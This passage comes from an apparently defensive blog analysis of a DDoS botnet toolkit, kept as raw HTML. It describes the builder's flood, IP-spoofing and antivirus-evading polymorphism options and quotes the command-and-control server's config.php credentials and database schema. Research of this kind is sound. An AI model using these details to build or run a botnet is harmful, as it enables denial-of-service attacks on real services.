the attack.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;TCP
/UDP Freq&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;: No. of TCP / UDP packets to send during
TCP / UDP flood attack.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;TCP
Size&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;: Size of the TCP payload. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;UDP
Size&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; &amp;nbsp;: Size of the UDP payload.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Spoof
IP’s&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;: Boolean value to enable or
disable IP Spoofing during the flooding.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Use
Crypt traffic&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;: May be used for encrypting the bot client
communication. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Use
polimorph exe&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt; :
Inserts different encryption routines to bypass AV detection.&lt;/span&gt;&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;font-family: Calibri, sans-serif; margin-bottom: 0.0001pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;
&lt;i&gt;and antidebug&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;font-family: Calibri, sans-serif; margin-bottom: 0.0001pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;After specifying all the configuration options, clicking on “Build” button will output the bot client which is then distributed through various means&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 13.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Server Side Botnet Command and Control System : &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 13.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;The toolkit comes with the C&amp;amp;C server
side PHP scripts which interacts with the MYSQL database at the backend to
track the bot infections. We’ve observed the &amp;nbsp;following files in the toolkit . &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;§&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Auth.php&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;§&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Config.php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;§&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Index.php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;§&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;MySQL.php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;§&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Stat.php&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;§&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;db.sql&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: 0.0001pt; text-indent: -24px;&quot;&gt;
&lt;span style=&quot;font-size: 12pt; letter-spacing: 1pt; text-indent: 0cm;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;Readme.txt&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: 0.0001pt; text-indent: -24px;&quot;&gt;
&lt;span style=&quot;font-size: 12pt; letter-spacing: 1pt; text-indent: 0cm;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Let’s understand the code in
each of these files and learn how the system works altogether.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;The C&amp;amp;C system comes
with the basic HTTP password authentication scheme. &lt;b&gt;Auth.php&lt;/b&gt; presents the Login/Password screen from where the Botnet
can be further controlled by the Bot Master.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeMRRj3GffQnKSj9QMQDxyXlrEDH9kfO6HqflmdccmANFchWy9Y96nEHfoNXLUAgJ7eTjbsfX111p0_DX4jL0O_h3CSgdeyF6hcJvObBzJ9RpYhsVWIIa2kjCXwM1ETZVM-b9ylNAVxhk/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeMRRj3GffQnKSj9QMQDxyXlrEDH9kfO6HqflmdccmANFchWy9Y96nEHfoNXLUAgJ7eTjbsfX111p0_DX4jL0O_h3CSgdeyF6hcJvObBzJ9RpYhsVWIIa2kjCXwM1ETZVM-b9ylNAVxhk/s400/2.png&quot; height=&quot;70&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; tab-stops: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Admin and MySQL Login details are saved
in the &lt;b&gt;config.php&lt;/b&gt; file as below. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
// íàñòðîéêè áàçû&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
$opt[&#39;mysql_host&#39;] = &quot;localhost&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
$opt[&#39;mysql_user&#39;] = &quot;b0t2&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
$opt[&#39;mysql_pass&#39;] = &quot;2413038&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
$opt[&#39;mysql_base&#39;] = &quot;b0t2&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // ëîãèí è ïàññ ê àäìèíêå&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
$opt[&#39;admin_pass&#39;]&amp;nbsp; =
&quot;admin&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
$opt[&#39;admin_login&#39;] = &quot;132&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;?&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Bot C&amp;amp;C system has a pretty simple
database schema with the SQL queries in the &lt;b&gt;db.sql&lt;/b&gt; file. Following is an excerpt &amp;nbsp;from that file.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;-- &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;-- Table structure for table `opt`&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;-- &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;CREATE TABLE `opt` (&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;
`name` varchar(255) NOT NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;
`value` varchar(255) NOT NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp;
PRIMARY KEY&amp;nbsp; (`name`)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;“Opt“ table has the following name and
its default values which is displayed on the UI when &lt;b&gt;index.php&lt;/b&gt; is accessed. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;-- &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;-- Dumping data for table `opt`&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;-- &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;INSERT INTO `opt` (`name`, `value`)
VALUES (&#39;attack_mode&#39;, &#39;0&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;cmd&#39;, &#39;wait&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
